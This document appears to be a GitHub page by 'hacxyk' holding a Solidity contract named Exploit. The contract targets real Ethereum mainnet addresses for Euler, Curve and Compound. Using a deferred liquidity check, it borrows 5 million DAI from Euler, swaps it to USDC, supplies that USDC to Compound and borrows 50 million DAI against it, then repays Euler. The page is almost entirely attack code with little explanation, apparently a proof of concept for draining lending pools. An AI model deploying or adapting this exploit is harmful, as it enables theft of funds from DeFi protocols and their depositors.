hacxyk

May 17, 2022 ยท View on GitHub

//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0;

import "hardhat/console.sol"; import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

interface IEulerMarkets{ function activateMarket(address underlying) external returns (address); function underlyingToEToken(address underlying) external view returns (address); function underlyingToDToken(address underlying) external view returns (address); function enterMarket(uint subAccountId, address newMarket) external; function exitMarket(uint subAccountId, address oldMarket) external;

}

interface IEulerDToken{ function borrow(uint subAccountId, uint amount) external; function balanceOf(address account) external view returns (uint); function repay(uint subAccountId, uint amount) external; }

interface IExec{ function deferLiquidityCheck(address account, bytes memory data) external ; } interface ICurve{ function exchange(int128, int128, uint256, uint256) external; } interface ICToken{ function mint(uint mintAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); }

interface IComptroller{ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function getAccountLiquidity(address account) external view returns (uint, uint, uint); }

contract Exploit {

address comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address cether = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
address cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address cusdc = 0x39AA39c021dfbaE8faC545936693aC917d5E7563;
address oracle = 0x65c816077C29b557BEE980ae3cC2dCE80204A0C5;

address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

address eulerMarket = 0x3520d5a913427E6F0D6A83E07ccD4A4da316e4d3;
address euler = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
address exec = 0x59828FdF7ee634AaaD3f58B19fDBa3b03E2D9d80;

address pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;

function start() external {
    IExec(exec).deferLiquidityCheck(address(this), "");

    console.log("We have a DAI surplus of %s", ERC20(dai).balanceOf(address(this)));
}

function onDeferredLiquidityCheck(bytes memory encodedData) external {
    IEulerMarkets markets = IEulerMarkets(eulerMarket);

    IEulerDToken borrowedDToken = IEulerDToken(markets.underlyingToDToken(dai));

    uint256 borrowAmount = 5_000_000 ether; // 5 Million DAI

    IEulerDToken(borrowedDToken).borrow(0, borrowAmount);

    IERC20(dai).approve(pool, type(uint).max);
    ICurve(pool).exchange(0, 1, borrowAmount, 0);
    IERC20(usdc).approve(cusdc, type(uint).max);
    ICToken(cusdc).mint(IERC20(usdc).balanceOf(address(this)));
    address[] memory _markets = new address[](1);
    _markets[0] = cusdc;
    IComptroller(comptroller).enterMarkets(_markets);
    ICToken(cdai).borrow(50_000_000 ether);
 
    // Repaying the borrowed amount now
    IERC20(dai).approve(euler, type(uint).max);
    borrowedDToken.repay(0, type(uint).max);

}

}